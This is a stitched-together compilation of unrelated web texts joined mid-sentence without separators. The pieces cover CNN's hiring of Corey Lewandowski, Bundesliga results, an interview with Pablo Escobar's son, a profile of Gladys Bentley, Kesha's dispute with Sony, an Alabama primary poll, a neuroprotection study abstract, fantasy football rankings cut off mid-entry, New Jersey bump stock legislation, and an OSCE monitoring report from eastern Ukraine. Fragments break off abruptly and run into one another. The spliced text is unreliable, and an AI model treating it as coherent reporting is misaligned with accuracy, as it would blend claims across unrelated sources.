FDR's New Deal. For both governing Democrats and disaffected progressives, the results of Election 2010 could well prove catastrophic. Robert Parry broke many of the Iran-Contra stories in the 1980s for the Associated Press and Newsweek. His latest book, Neck Deep: The Disastrous Presidency of George W. Bush, was written with two of his sons, Sam and Nat, and can be ordered at neckdeepbook.com. His two previous books, Secrecy & Privilege: The Rise of the Bush Dynasty from Watergate to Iraq and Lost History: Contras, Cocaine, the Press & 'Project Truth' are also available there. Or go to Amazon.com. To comment at Consortiumblog, click here. (To make a blog comment about this or other stories, you can use your normal e-mail address and password. Ignore the prompt for a Google account.) To comment to us by e-mail, click here. To donate so we can continue reporting and publishing stories like the one you just read, click here. Back to Home PageNEW YORK ― CNN chief Jeff Zucker defended the hiring of former Donald Trump campaign manager Corey Lewandowski at a Tuesday town hall, telling employees that the network needed to bring in voices supportive of the Republican nominee to balance its commentary ranks, according to network sources.
The June 23 hiring of Lewandowski rankled journalists inside and outside CNN given the former campaign manager’s seeming disdain for the press. In addition to overseeing a media blacklist, Lewandowski grabbed reporter Michelle Fields, now with The Huffington Post, and reportedly pushed CNN correspondent Noah Gray. He also once threatened to blacklist Gray for leaving the “press pen” at an event.
Lewandowski, who presumably can’t speak candidly about the Trump campaign due to a non-disclosure agreement, was flowing with praise for his former boss right out of the gate.
In mid-July, CNN began to disclose that Lewandowski was still receiving severance from the Trump campaign during his on-air appearances, though the network didn’t explain why it began doing so then.
At Tuesday’s town hall, Zucker said the network was aware of Lewandowski’s severance from the start of his employment.
CNN spokespeople did not immediately provide comment on questions about Zucker’s remarks.
It was revealed last month that Lewandowski’s firm received its normal $20,000 consulting fee from the Trump campaign on July 6, again driving conflict of interest questions for the network. Lewandowski also reportedly is still informally advising the campaign while commenting on it for CNN.
Zucker has a long history with Trump given that he ran NBC during the launch of Trump’s reality show “The Apprentice.” The veteran TV executive faced criticism early in the 2016 election for the attention CNN paid to Trump, who now rarely appears on the network and routinely bashes it as favoring Hillary Clinton.
CNN, which already employed several prominent conservative commentators, added several pro-Trump pundits this cycle, including Jeffrey Lord, Kayleigh McEnany and Scottie Nell Hughes. Zucker publicly praised Lewandowski as having “done a really nice job” in an August interview that ran the same day the Republican operative revived Trump’s toxic birtherism.
CNN host Jake Tapper, who moderated Tuesday’s employee town hall, also emphasized that many of the network’s stable of conservative pundits were Trump critics and that it’s important to have people on air representing the views of the tens of millions of Americans expected to vote for the Republican nominee.Having been crowned second-tier champion last season, Ingolstadt was indebted to Lukas Hinterseer's 66th-minute strike for its away win.
Leckie picked up a yellow card before the break, but still saw out the entire game.
Darmstadt, also promoted last term, twice led in its match at home to Hannover, but had to settle for a 2-2 draw.
Marcel Heller netted twice for the host, the first - a fine solo effort – ending Darmstadt's 33-year wait for a Bundesliga goal.
Charlison Benschop cancelled out that opener early in the second half and Heller's hopes of being the match-winner were scuppered again when his second effort was eclipsed by Aytac Sulu's own goal, with Hannover's Mevlut Erdinc having earlier missed a penalty.
There was a positive start to Andre Breitenreiter's reign as Schalke boss as it ran out a 3-0 winner at Werder Bremen, Eric Maxim Choupo-Moting and Klaas-Jan Huntelaar scoring for the Gelsenkirchen club after Bremen defender Theodor Gebre Selassie had put through his own goal to open the scoring.
Bayer Leverkusen came from a goal behind to beat Hoffenheim 2-1 - Julian Brandt grabbing the winner with 19 minutes to go - while Salomon Kalou's penalty saw Hertha Berlin beat Augsburg 1-0 in a match that saw both sides finish with 10 men.Juan Pablo Escobar, son of notorious Colombian drug trafficker Pablo Escobar, has lived part of his life in hiding under an assumed name after his father's death. In a heartfelt interview with Sputnik, he discussed Escobar's collaboration with the CIA, myths surrounding his public image, and the drug problem that continues to plague his country.
Sputnik Mundo had the opportunity to speak to Escobar at the 40th International Book Fair in Montevideo, Uruguay, where he was promoting his latest book, "Pablo Escobar: Infraganti, What My Father Never Told Me."
CIA, DEA and Escobar's Enemies
The new book is Juan Pablo's second examination of his father's life and death. In his first book, he traced his family's history, offering previously unheard insights into the drug baron's family life. In the second, he shares his impressions from meetings with the relatives of his father's victims, Escobar's accomplices and other key actors from the events of the period when his father was the most famous drug kingpin in the world.
"The new book discusses the decisions which my father made but decided not to tell me about, which I learned about in the course of my own investigation," the author explained.
"For the first time, my father's enemies have been given a voice to talk about who Pablo Escobar is to them. Giving them this opportunity through the words of his own son is important, I think, to recreating the perceptions we have about the figure of Pablo Escobar. Not those which his own son had about him, but those of the people who hated him, who paid to have him killed, who do not have any sympathy for him as a person."
© Photo : Cortesía Grupo Planeta Juan Pablo Escobar presenting his new book in Montevideo.
The image of the fight against drug trafficking in Colombia that exists in popular culture is focused mainly on the figure of Pablo Escobar himself. In his new book, Juan Pablo attempts to expose some of the other figures from this real-life crime epic –including corrupt officials at the highest levels in Colombia and abroad. The book talks, for example, about Escobar's relationship with the US Drug Enforcement Administration (DEA) and the CIA, a relationship which the drug lord himself once described as follows: "We ended up working for our pursuers."
"It's clear that the DEA and the CIA have a great deal to do with this, although I do not know if it's about the organizations in general or about individual agents," Juan Pablo said. "I do not want to generalize and say that the agencies were totally corrupt, but there were sectors whose agents cooperated with him at one time as a matter of convenience."
© AFP 2018 / SCANPIX SWEDEN Ex-Pentagon Advisor Reveals How CIA Killed Western Politicians During Cold War
In his book, Juan Pablo confirms that elements of the CIA and DEA pursued a policy of 'peaceful coexistence' with the drug baron to finance the anti-communist struggle in Central America in the 1980s. This included a drug route which his father called "the train," through which Escobar was able to send 800 kilograms of cocaine twice a week to Miami International Airport without interference from US authorities.
Myth and Reality of Escobar's Public Image
Juan Pablo discovered many new details about his father's life through his research on the new book, including how the gangster lived out the last 72 hours of his life, and the major impact that the 1984 murder of Colombian Minister of Justice Rodrigo Lara Bonilla had on his family.
In his interview with Sputnik, the author dispelled some of the myths which have long accompanied the infamous head of the Medellin cartel. "It's long been said that my father was willing to pay off Colombia's foreign debt. This is not true. He just wanted to demonstrate his enormous economic wealth, the scale of which still remains unknown," he said.
© AP Photo / Pablo Escobar, left, and Jorga Luis Ochoa, right with hat, the two leaders of the Medellin cocaine cartel, are shown at a bullfight in Medellin, Colombia, in 1984
© Photo : National Crime Agency Stop Right There! Boat Carrying $260Mln Worth of Cocaine Seized in the Atlantic
Furthermore, Juan Pablo said that although he understands that the multitude of crimes orchestrated by his father have made him a dreaded figure, he regrets that there is little to no focus on some of the positive things he has done. "This is natural, but also speaks very poorly about us as human beings, who attribute importance only to negative facts," he said.
For instance, Escobar said that his father felt sincere compassion for Colombia's poor, something that's in stark contrast to his cold-blooded willingness to carry out swift and bloody reprisals against anyone who betrayed him or stood in his way.
Hollywood's Representations Glorify Crime
Asked to share his impressions of his father's portrayal in films and TV shows, including the Netflix series Narcos, Escobar Boss of Evil, and Loving Pablo, Juan Pablo said that while he did not oppose the use of his father's image, he is concerned by the way in which it's being done. The implicit message, he said, glorifies criminal activity and incites new generations seeking to emulate the drug kingpin.
"Thousands of young people from all over the world write to me saying they want to be like him, to look like him…Thanks to Netflix, they think that being a drug dealer is cool, and this is wrong. I experienced the life depicted in the series in reality, and would never become a drug dealer, because I know the consequences; that's something that the younger generation isn't shown," Juan Pablo said.
In Search of the Promised Land
The author candidly told Sputnik that his father's death in 1993 marked a turning point in his own life. Immediately after Escobar was killed, the young man, his mother and sister fled Colombia, and changed their names, with Juan Pablo becoming Juan Sebastian Marroquin. Unlike his father, the young man chose a path of peace, and that is the message he wants to convey through his story.
"For those of us who grew up in that world, changing our name was like changing your clothes. We didn't take it personally. As human beings, we are strongly attached to our names and the stories of our lives. But in that world all of this lost any importance; my dad changed his name perhaps ten times."
© AFP 2018 / JESUS ABAD-EL COLOMBIANO Colombian police and military forces storm the rooftop where drug lord Pablo Escobar was shot dead just moments earlier during an exchange of gunfire between security forces and Escobar and his bodyguard 02 December 1993
In 1994, after traveling through Peru, South Africa, Mozambique and Brazil, Juan Pablo settled with his family in Buenos Aires, Argentina. With his new name, he was able, in his own words, to "enjoy the privilege of being a nobody." He finished school and college in industrial design and opened a real estate business together with his mother. But their newfound peace wouldn't last long. On November 15, 1999, Juan Pablo and his mother were arrested by Argentinian police after their accountant had revealed their true identity.
"My mother and I were never among those who applauded my father's violence," Juan Pablo stressed. "As his son and wife, we always tried to make him understand the consequences of his cruelty and to dissuade him from this path. Sometimes he listened to us, but he was also a stubborn man who did as he saw fit."
Escobar May Be Gone, But Colombia's Drug Problem Remains
According to the author, the drug problem which plagued his country in his father's time continues to exist and is getting worse. "Nothing has improved, and this is not a sign that we are doing well in the fight against drugs," he said. "The players are changing, but all the same positions remain occupied. Pablo Escobar's position is now filled by someone new."
© AP Photo / Efrain Patino Soldiers destroy coca plants at a 20 hectar plantation found by the army in Sardinata, near Colombia's northeastern border with Venezuela (File)
The whole situation makes Juan Pablo skeptical about the war on drugs, which he characterizes as having been "lost in a knockout blow." He stressed that today, "more coca leaves than ever before" are being grown in Colombia.
For that reason, he is a proponent of a path to legalization, similar to what Uruguay has done with marijuana, which in his words, "in one stroke" robbed the cartels of their power, money, and ability to corrupt public officials. Prohibition has been done to death and doesn't work, he said, and in fact only serves to "generate more stories like those of Pablo Escobar."March is Women's History Month, and with Donald Trump and his administration in power, there's never been a better time to honor all women. Throughout the month The Advocate will feature queer pioneers whose strength, resilience, and ingenuity paved the way for others.
Today we feature, Gladys Bentley, a popular and very out lesbian blues artist of the 1920s and ’30s.
What she accomplished: While the Harlem Renaissance era of the ’20s and ’30s saw a bounty of lesbian and bisexual blues singers — Ma Rainey, Bessie Smith, Ethel Waters — no one was more open about her love for women than Gladys Bentley. Bentley wore tuxedos and top hats, flirted with women in her audiences, improvised risqué lyrics when performing, and proudly wore the label of “bulldagger.” Bentley was born in Philadelphia in 1907, and while growing up she was subjected to the treatment familiar to so many LGBT young people: Other kids ostracized her for her gender-variant appearance, and her parents took her to doctors to try to “cure” her of her crush on a female teacher. At age 16, she moved to New York City’s Harlem neighborhood, where African-Americans were making music, art, and literature in an explosion of creativity that would become known as the Harlem Renaissance. The environment was accepting of all types of sexuality and gender expression, and Bentley soon became an in-demand singer and pianist at Harlem nightspots including the Cotton Club, Connie’s Inn, and the Clam House as well as midtown jazz clubs. Known as “the Brown Bomber of Sophisticated Songs,” she was a powerful performer: “When Gladys sings ‘St. James Infirmary,’ it makes you weep your heart out,” one fan wrote of her. The great Harlem Renaissance poet Langston Hughes called her “an amazing exhibition of musical energy,” and fiction writer of the era based characters on her. At one point she had a marriage ceremony — obviously without legal standing — with a female lover.
In the late 1930s, the Harlem Renaissance waned, and Bentley moved to California, where she sang at gay clubs in San Francisco and Los Angeles. By the 1940s she was finding less social acceptance; the L.A. police required clubs to get permits to allow her to appear in men’s clothing. Eventually she also ran afoul of the House Un-American Activities Committee, for her lesbianism and interracial affairs rather than any political associations. In the 1950s, in an article in Ebony magazine, she claimed to have been converted to heterosexuality through female hormone supplements. This “is written off as a fabrication to save her career during the McCarthy era,” wrote Ms. blogger Shantala Thompson. Bentley then had at least one marriage to a man — she claimed two, but one of the supposed husbands denied the marriage took place — and became a devout Christian. She studied for the ministry, but she died (in 1960) before she could be ordained. A 1957 article in the Chicago Defender, however, indicated that she had not renounced same-sex love. An interviewer asked her about photos of a man and a woman on her dresser, and she replied, “That’s my husband [pointing to the male] and that’s my wife.”
Choice quote: “From the time I can remember anything, I never wanted a man to touch me.... Soon I began to feel more comfortable in boys’ clothes than in dresses.” — Bentley in Ebony
For more information: The reference book Harlem Renaissance Lives has a thorough entry on Bentley, and there’s a lengthy, excellent article in the journal Ninepatch. Bentley is featured in filmmaker Robert Philipson’s documentary T’Ain’t Nobody’s Bizness: Queer Blues Divas of the 1920s, which has been a hit at film festivals over the past few years. And you can get a sample of her singing below.Updated at 21:19 (ET): A representative of Luke Gottwald has denied reports that Sony will be severing ties with him. We have updated this piece accordingly.
Kesha may finally soon be free.
Insiders at Sony told The Wrap today that the company will soon be severing ties with “Dr” Luke Gottwald, the superstar producer whom Kesha alleges physically and sexually abused her as a teenager. The singer has been embroiled in a long, and until now losing battle to free herself from a six-album contract that would, she claims, force her to work intimately with the man she says raped her. (Gottwald has denied all of the allegations and his representative has denied reports that Sony is planning to drop him.)
But don’t go handing Sony any cookies for compassion or humanity. Citizens United notwithstanding, corporations don’t have hearts. The law is on the company’s side: after a recent court ruling went against Kesha, Sony would be well within their rights to keep the singer captive for the next 6 albums.
So what’s changed? We have. The insiders who ratted out Sony today said as much, essentially telling The Wrap that it’s now more expensive and damaging for the firm to protect Dr Luke than it is for them to protect Kesha. With stars like Adele and Lady Gaga speaking against the label, and boycott talk bubbling hot among fans, the suits in suites seem to have decided they literally can’t afford to keep standing by the accused at the expense of the woman who claims he abused her.
The ruling against Kesha: yet again, a woman was told her body isn't her own | Jennifer Gerson Uffalussy Read more
Whatever the reason, it’s fantastic news. I don’t care much what the Sony bosses believe in their hearts as long as they know that they answer to feminists, and that we are legion. That’s new. It was only a few years ago that stars like Gaga and Taylor Swift rejected the word for fear of backlash, but instant access to fans via social media, coupled with the dogged work of feminist organizers and the leadership of stars like Beyonce and Lena Dunham, who embraced feminism as an integral part of their brand, has changed the game.
It’s new for me to admit that, too. Nearly every time a rape case is in the news, for example, reporters ask me if I think things are changing for the better, if whatever the case is represents a sea change for our tolerance of rape culture. Until now, I’ve sidestepped the question, saying that only time will tell if the seriousness with which the Holtzclaw or the Steubenville case was taken means that we’re moving in the right direction, or just a statistical accident in what’s generally still a wasteland of rape apology.
But it does seem like things are starting to change. Last month, the Oscars telecast featured Gaga performing her nominated song, Til It Happens To You, through which she came out about her own experience with rape. She was joined onstage by over 50 young survivor-activists whose work is motivating the White House to crack down on campuses that turn a blind eye to sexual violence. Across Hollywood, female stars and star-makers are organizing in unprecedented ways to break the stranglehold white men have forever held on whose stories get funded and told. Victories like these teach us that there are no forces too strong or entrenched to be moved if enough of us join together to push in the same direction. And that kind of lesson ensures that the next time something like this comes up, we’ll come out swinging for the fences even harder.
It’s not yet clear how and when Sony will break with Dr Luke, nor do we know if that will really free Kesha from working with him. Kesha’s contract is technically with Gottwald’s label, Kemosabe, so there’s some question as to whether she’ll still be bound to him whether or not he’s at Sony. There’s a long way to go for Kesha, and there’s a long way to go for us all. But social change is all about stringing together partial wins, and I’m celebrating this one to the fullest. We all should.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
An Alabama poll, conducted by Strategy Research on behalf of WKRG News, found Donald Trump and Hillary Clinton enjoying large leads within their respective parties in the 2016 presidential race. Alabama holds its presidential primary on March 1st, along with a number of other Southern states.
The Strategy Research poll found Trump leading the Republican field with 30 percent support. His nearest challenger, former Florida Governor Jeb Bush, was way back at 15 percent. Bush was followed by Ben Carson and Marco Rubio each at 11 percent. Former Arkansas Governor Mike Huckabee, who won the Alabama primary in 2008 on the strength of evangelical voters, polled just 8 percent. Carly Fiorina was also at 8 percent, followed by Texas Senator Ted Cruz who polled at 7 percent support.
On the Democratic side, Hillary Clinton held a crushing 78 to 10 percent margin over Vermont Senator Bernie Sanders. Sanders has been barnstorming the South, speaking to large crowds recently, but that enthusiasm has not translated into strong poll numbers for the senator in the state of Alabama.
Clinton’s ridiculously strong poll numbers in Alabama suggest that she could employ a Southern strategy to curb Sanders’ momentum if he wins early victories in Iowa and New Hampshire. South Carolina holds its primary after the first two states weigh in, and on March 1st Alabama, Arkansas, Georgia, North Carolina, Oklahoma, Tennessee, Texas and Virginia hold their primaries, giving Super Tuesday 2016 a distinctly Southern flavor.
Sanders’ home state of Vermont and neighboring Massachusetts also hold primaries that day and Colorado and Minnesota have their Democratic caucuses on March 1st as well. Nevertheless, if Clinton’s strength in Alabama is indicative of strength elsewhere in the South, Super Tuesday would give her an opportunity to scoop up the lion’s share of Democratic delegates on March 1, 2016.
On the Republican side, the Alabama poll simply affirms that Trump’s lead in the GOP extends to every part of the country, including the Deep South. Alabama’s evangelical tradition makes it an excellent pickup opportunity for a social conservative like Mike Huckabee or Ted Cruz, but it appears that Donald Trump has cornered the evangelical vote, shutting out the most outspoken Christian conservatives in the field.
With most campaigns so heavily invested in Iowa and New Hampshire, the Alabama poll gives analysts a glimpse at how the presidential race stacks up in a Southern state that hasn’t received much attention yet, but whose primary still falls early in the 2016 calendar. With Alabama voters decisively supporting both Donald Trump and Hillary Clinton, the poll also suggests which candidates should be favored to perform well in the Southern flavored Super Tuesday primaries.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:The aim of the present study was to evaluate the effect of ENS on cognitive impairment induced by scopolamine and its potential neuroprotective effect against glutamate-induced cytotoxicity in HT22 cell and to investigate the underlying mechanisms. ENS (3, 10, 30, and 100 mg/kg), scopolamine (1 mg/kg), and donepezil (1 mg/kg) were administered to mice during a test period. Scopolamine impaired memory and learning in a water maze test and a passive avoidance test. The neuroprotective effect of ENS (10 and 100 μg/mL) was investigated on glutamate-induced cell death in HT22 cells by MTT assay. We investigated acetylcholinesterase inhibition in hippocampus and antioxidant activity, ROS levels, and Ca(2+) influx in HT22 cells to elucidate the potential mechanisms of ENS. We found that ENS significantly ameliorated scopolamine-induced memory impairment and inhibited AChE activity in hippocampus. In vitro, ENS showed potent neuroprotective effects against glutamate-induced neurotoxicity in the HT22 cell. In addition, ENS induced a decrease in ROS production and intercellular Ca(2+) accumulation and showed DPPH radical and H2O2 scavenging activity. In conclusion, ENS showed both a memory improving effect and a neuroprotective effect. Our results indicate that ENS may be of use in the treatment and prevention of neurodegenerative disorders.Portland Timbers captain Will Johnson returned to training for the first time Tuesday since he sustained a broken leg last September in a match against Toronto FC.
Timbers coach Caleb Porter said that both Johnson and midfielder Diego Valeri, who is recovering from a torn anterior cruciate ligament, have been cleared by the medical staff to participate in practices as non-contact, "neutral" players.
"Both of them were in training today and allowed to be a neutral player inside the grid, so that was a nice milestone," Porter said. "They will be in training all week as neutral players and allowed to be inside of training drills, possession games, small-sided games."
Porter said he is hopeful that both Johnson and Valeri will be cleared to rejoin full training next week, but could not say when the two players would be ready to see game minutes. In the past, Porter has said Valeri should be available to see game minutes by May.
"Whether they'll be on the same track in terms of being released for the matches, we'll see," Porter said. "But right now they are doing the same exact things in training."
-- Jamie Goldberg | jgoldberg@oregonian.com
503-853-3761 | @jamiebgoldbergIf you missed #20-11 hurry and catch up here! If you are ready to continue with the top 10 Defensive Tackles for 2017, here we go!
The Top 10
# 10 Linval Joseph (MIN): The Vikings have been taking care of their defense with contract extensions, and Joseph was the latest to get a deal, at 4 years-$50 million. He’s a big run stuffing nose tackle, who is going to give you 50+ tackles and 3 or 4 sacks.
# 9 Malik Jackson (JAX): In three of the last four seasons, he has averaged 40+ tackles and 6 sacks. Some thought that his numbers would suffer when he left Denver to join Jacksonville, but to his credit, he stayed on course. Being consistent at this position is a huge plus. This is a young defense that can only get better and they also added veteran, Calais Campbell. All of this adds up as a plus for Jackson.
# 8 Sheldon Rankins (NO): This is an intriguing player that could be a bit of a sleeper. He missed the 1st half of last season due to an injury but was a real factor once he got back to playing. He had 20 tackles and four sacks over the last eight games which projects to 40 tackles and 8 sacks for a full season. Those are top 5 numbers at his position. Plus factor in that he will be taking over for Nick Fairley, who recently had to step away due to health. Lots to like here.
# 7 Geno Atkins (CIN): If Geno is a DT in your league and sacks are scored heavily, then you can move him up a couple spots at least. He is one of the best sack options at the position as he will get you 10+ sacks. Doesn’t offer much else, but one should expect him to finish with 30+ tackles.
# 6 Gerald McCoy (TB): One of the most consistent players at the position over the last few years. He is also one of the better sack options for those whose league scores sacks more heavily. Tampa Bay has drafted and placed some talented youth around him so that he doesn’t have to shoulder such a large load but I foresee a slight uptick in production, with something like 35 tackles and 8 sacks.
# 5 Damon “Snacks” Harrison (NYG): Snacks is a lot different than the four guys ahead of him on this |
doesn’t take much to see the connection between the availability of technology that makes mass murder possible and the tragic pattern of mass murder in the United States,” said Democratic Assembly Speaker Vincent Prieto.
The legislation comes just as the state begins to transition from Republican Gov. Chris Christie to Democrat Phil Murphy. Murphy has promised to sign the legislation if it gets to his desk. Christie spokesman Brian Murray says the governor would be willing to consider it but pointed out that the stocks are already restricted under state law.
Murphy, whose inauguration is Jan. 16, has cast the issue in terms of his promise to enact tougher, “common sense” gun laws.
If Christie vetoes the measure, the new Legislature would have to pass the bill again next year. That’s because legislation passed in one session doesn’t advance to the new Legislature, which will again be controlled by Democrats, in the new year.
Bump stocks substitute for the regular stock and grip of a semi-automatic rifle. They allow the weapon to fire continuously, up to 400 to 800 rounds a minute. They were found among the weapons used by Las Vegas gunman Stephen Paddock and explain why victims heard what sounded like automatic fire.
Massachusetts became the first state after the deadly October shooting to enact a ban, but other states, like California, also bar the implements.
The bans looked as if they were getting a rare boost from the influential National Rifle Association, which initially embraced possible restrictions.
But the group later said it opposed the ban, adding that bans have never “worked on anything.”(CNN) Descriptive language and colorful imagery were in no short supply Tuesday evening, as guest Philip Mudd joined CNN with his candid thoughts on Gen. Michael Flynn.
"I'm watching a clown show," said Mudd, the former deputy director of the CIA.
Host Wolf Blitzer had asked Mudd if he felt President-elect Donald Trump had made the right decision in tapping Flynn as his national security adviser. Ever the intelligence officer, Mudd's response was clear and direct.
"Absolutely not, zero chance."
Quickly morphing -- in his own words -- from a "CNN commentator to a former CIA official," Mudd went on to list a collection of men and women who have previously held the post Flynn is scheduled to occupy, all the while denouncing Flynn's behavior during the recent campaign.
Former CIA official Phil Mudd goes off on Gen. Flynn: I'm watching a clown show! https://t.co/oQC1TEd2bi — The Situation Room (@CNNSitRoom) December 6, 2016
"We transition now to a national security adviser [Flynn] -- in a political realm -- who argues that an opponent, on the stump, should be locked up in prison, who argues that a billion plus Muslims should be grouped together."
Mudd went on to express his ire at the idea that Flynn's son -- Michael G. Flynn -- had security clearance requested on his behalf.
"Then we go on to argue that that individual's son, who retweets fake news, should be given access to top secrets."
In exasperated fashion, Mudd closed by sharing with Blitzer his overall dissatisfaction with the way Trump is readying for his role as the nation's 45th commander in chief.
"I've had it with this, Wolf. I want to see a transition from a campaign to reality, and I don't see it yet."This report is for the media and the general public.
The SMM recorded a slightly higher number of ceasefire violations in Donetsk region compared to 17 July, including more than 200 explosions. In Luhansk region, for the second consecutive day, all of the ceasefire violations observed by the SMM occurred near government-controlled Shchastia during the night, and the number of ceasefire violations recorded was lower compared to the night of 16 July. The SMM conducted crater analysis on both sides of the contact line, in Marinka and Kominternove. The SMM confirmed that an SMM national staff member, who had been temporarily out of reach, was safe. It facilitated and monitored adherence to the ceasefire to enable the exchange of bodies across the contact line. The SMM followed up on the temporary closure of the government checkpoint at the Stanytsia Luhanska bridge, the only authorized route for crossing the contact line in Luhansk region. It monitored border areas not controlled by the Government and encountered restrictions on two occasions.* It faced three other freedom-of-movement restrictions, exclusively in areas not controlled by the Government. The SMM observed the arrival of the new Russian Federation Armed Forces personnel to the Joint Centre for Control and Co-ordination (JCCC) at a border crossing point in Kharkiv region.
The SMM recorded more ceasefire violations [1] in Donetsk region compared to 17 July, including more than 200 explosions.
On the night of 17 July, positioned in Donetsk city centre the SMM heard four undetermined explosions 5-7km north-west of its position. During the same night, whilst in “DPR”-controlled Horlivka (39km north-east of Donetsk), the SMM heard 13 undetermined explosions 4-7km south-west and 6-7km north of its position.
The following day, positioned at the “DPR”-controlled Donetsk central railway station (6km north-west of the city centre), the SMM, between 07:55 and 08:19 heard 62 undetermined explosions 3-7km south-south-west, and later that day, heard and saw 25 airbursts, and heard 21 explosions including three explosions caused by 120mm mortar round impacts, all at locations 2-5km ranging from north-north-west to north-north-east of its position.
Whilst in “DPR”-controlled Yasynuvata (16km north-east of Donetsk), the SMM heard 11 undetermined explosions 2-6km south-west and west of its position. Positioned in government-controlled Avdiivka (17km north of Donetsk), the SMM heard 58 undetermined explosions 5-6km south-east of its position.
In government-controlled Maiorsk (45km north-east of Donetsk), the SMM heard two explosions caused by incoming recoilless gun (SPG-9) rounds and one undetermined explosion 2-3km north-east of its location.
In Luhansk region, for the second consecutive day, all of the ceasefire violations observed by the SMM occurred near government-controlled Shchastia (20km north of Luhansk) during the night, and the number of ceasefire violations recorded was lower compared to 16 July. On the night of 17 July, whilst in Shchastia, the SMM heard at least 16 undetermined explosions and 20 bursts and shots of heavy-machine-gun fire 4-6km south-west and one explosion caused by outgoing round of recoilless gun (SPG-9) fire 2-3km south of its position.
The SMM followed up on reports of shelling and conducted crater analysis. On 17 July, in a residential area of government-controlled Marinka (23km south-east of Donetsk), the SMM analysed one fresh crater on a concrete driveway close to a house and assessed it as caused by an 82mm mortar round fired from a north-easterly direction. The SMM saw a hole (1m diameter) on its north-facing roof, and assessed it as caused by an 82mm mortar round fired from a north-easterly direction. It saw also shattered hinges of the east-facing door of an outhouse, a hole on the north-facing brick wall of a house and a hole on the north-facing brick wall of an outhouse and assessed them as caused by rocket-propelled grenade rounds fired from a north-easterly direction.
On 17 July, in “DPR”-controlled Kominternove (23km north-east of Mariupol), the SMM observed four fresh craters in close proximity to houses and assessed them as caused by 73mm cannon rounds (recoilless gun SPG-9 or infantry fighting vehicle (IFV; BMP-1) cannon), fired from a south-westerly (three craters) and a north-westerly (one crater) direction. The SMM saw a hole on the south-west facing wall of a garage, a smashed south-facing window and a collapsed south-facing roof of a house.
The SMM continued to monitor the withdrawal of weapons, in accordance with the Package of Measures and its Addendum, as well as the Minsk Memorandum.
In violation of the respective withdrawal lines, the SMM observed in government-controlled areas the SMM 12 anti-tank guns (MT-12 Rapira, 100mm): six near Novozhelanne (33km north-west of Donetsk) and six near Zhelanne (36km north-west of Donetsk).
Beyond the withdrawal lines but outside assigned areas, the SMM observed one self-propelled howitzer (2S1 Gvozdika 122mm) loaded on a flatbed heading west in government-controlled Sievierodonetsk (74km north-west of Luhansk), and nine tanks (T-64) at a known training site near “LPR”-controlled Myrne (28km south-west of Luhansk).
The SMM observed weapons in areas known to the SMM, which it could not verify as withdrawn as they do not comply with the criteria set in the 16 October 2015 notification. In government-controlled areas beyond the respective withdrawal lines, the SMM observed 21 anti-tank guns (MT-12 Rapira, 100mm). The SMM noted, as observed previously, that one anti-tank gun (MT-12 Rapira, 100mm) and ten tanks (T-64) were missing.
The SMM revisited Ukrainian Armed Forces permanent storage sites whose locations corresponded with the respective withdrawal lines. The SMM noted, as observed previously, that 33 tanks (32 T-72 and one T-64), 12 mortars (seven 2B9 Vasilek 82mm and five BM-37, 82mm) and one anti-tank gun (D-44, 85mm) were missing; noted for the first time that eight tanks (T-64) were missing; and recorded the presence of new weapons. The SMM also noted one site which continued to be abandoned as first observed on 9 December 2015 (see SMM Daily Report 9 December 2015).
The SMM observed the presence of armoured combat vehicles in the security zone. In government-controlled areas, the SMM observed: one light-armoured vehicle (Kraz Cougar) mounted with a heavy machine-gun stationary near Zolote (60km west of Luhansk); two infantry fighting vehicles (IFV; BMP-2) stationary near government-controlled Stanytsia Luhanska (16km north-east of Luhansk). Aerial surveillance available to the SMM on 13 July revealed the presence of three armoured vehicles near Novooleksandrivka (64km west of Luhansk).
At the office of the Joint Centre for Control and Co-ordination (JCCC) in “DPR”-controlled Yasynuvata, the Russian Federation Armed Forces officers again refused to share with the SMM their record of ceasefire violations from the previous night, stating they had orders not to do so (see SMM Daily Report 18 July 2016). The SMM informed the JCCC.
The SMM, following up on media reports about an SMM national staff member based in Luhansk region allegedly detained in the Russian Federation, confirmed that he had been temporarily out of reach while on leave and was now back in Ukraine.
The SMM observed mine hazard signs north of government-controlled Kamianka (20km north of Donetsk). The SMM saw numerous wooden boards (with the words “mines” written with green letters on white ground in the Russian language located 30-50m apart of each other) on both sides of a detour (hardened gravel track), which enables vehicles to bypass a demolished bridge on the highway H20, connecting the Yasynuvata junction and government-controlled Kostiantynivka (60km north of Donetsk). The SMM noted that numerous signs had fallen over or been knocked down by wind.
The SMM followed up on an incident in government-controlled parts of Zolote on 15 July, involving a woman wounded by a booby trap. At a hospital in government-controlled Lysychansk (75km north-west of Luhansk), a woman (aged 61) told the SMM that when crossing the contact line towards “LPR”-controlled Pervomaisk (58km west of Luhansk), she had touched what she thought was a fishing line with her foot and an explosion had occurred. The SMM saw that her legs, arms, face and thorax were bandaged.
In “DPR”-controlled Rozsypne (60km east of Donetsk), the SMM followed up on the situation of the unexploded remnants of a multiple-launch rocket system (BM-30 Smerch, 300mm) rocket, which it had previously observed (see SMM Daily Report 12 May 2016). A male resident (aged 61) told the SMM that two days prior a demining team had defused the rocket and pulled it up from his yard. The demining team told that a larger part of the rocket still remained in the ground.
The SMM continued to facilitate and monitor adherence to the ceasefire to enable the exchange of the bodies of deceased persons across the contact line in Shchastia. On the bridge at the contact line between a Ukrainian Armed Forces checkpoint in Shchastia and an “LPR” checkpoint south-east of Shchastia, the SMM observed while the body of a deceased man, which according to the JCCC was from the Ukrainian Armed Forces, was transferred by representatives of a civil society organization based in “LPR”-controlled areas to representatives of the civil-military administration, and while two bodies of deceased men, which according to the JCCC were “LPR” members, were transferred in the opposite direction.
At 15:20, the SMM observed that the northernmost government checkpoint near the bridge in government-controlled Stanytsia Luhanska was closed, while a queue of some 100 pedestrians were waiting to leave government-controlled areas. The border guard commander present told the SMM that the checkpoint had been temporarily closed from 14:30 due to a fire caused by high temperatures in areas close to checkpoint. The SMM observed the undergrowth immediately north-west of the government- checkpoint was burning and rising smoke and a fire brigade with one fire truck fighting a fire. At 18:15, the SMM observed that the checkpoint was still closed and 150 pedestrians were waiting in a queue to leave government-controlled areas.
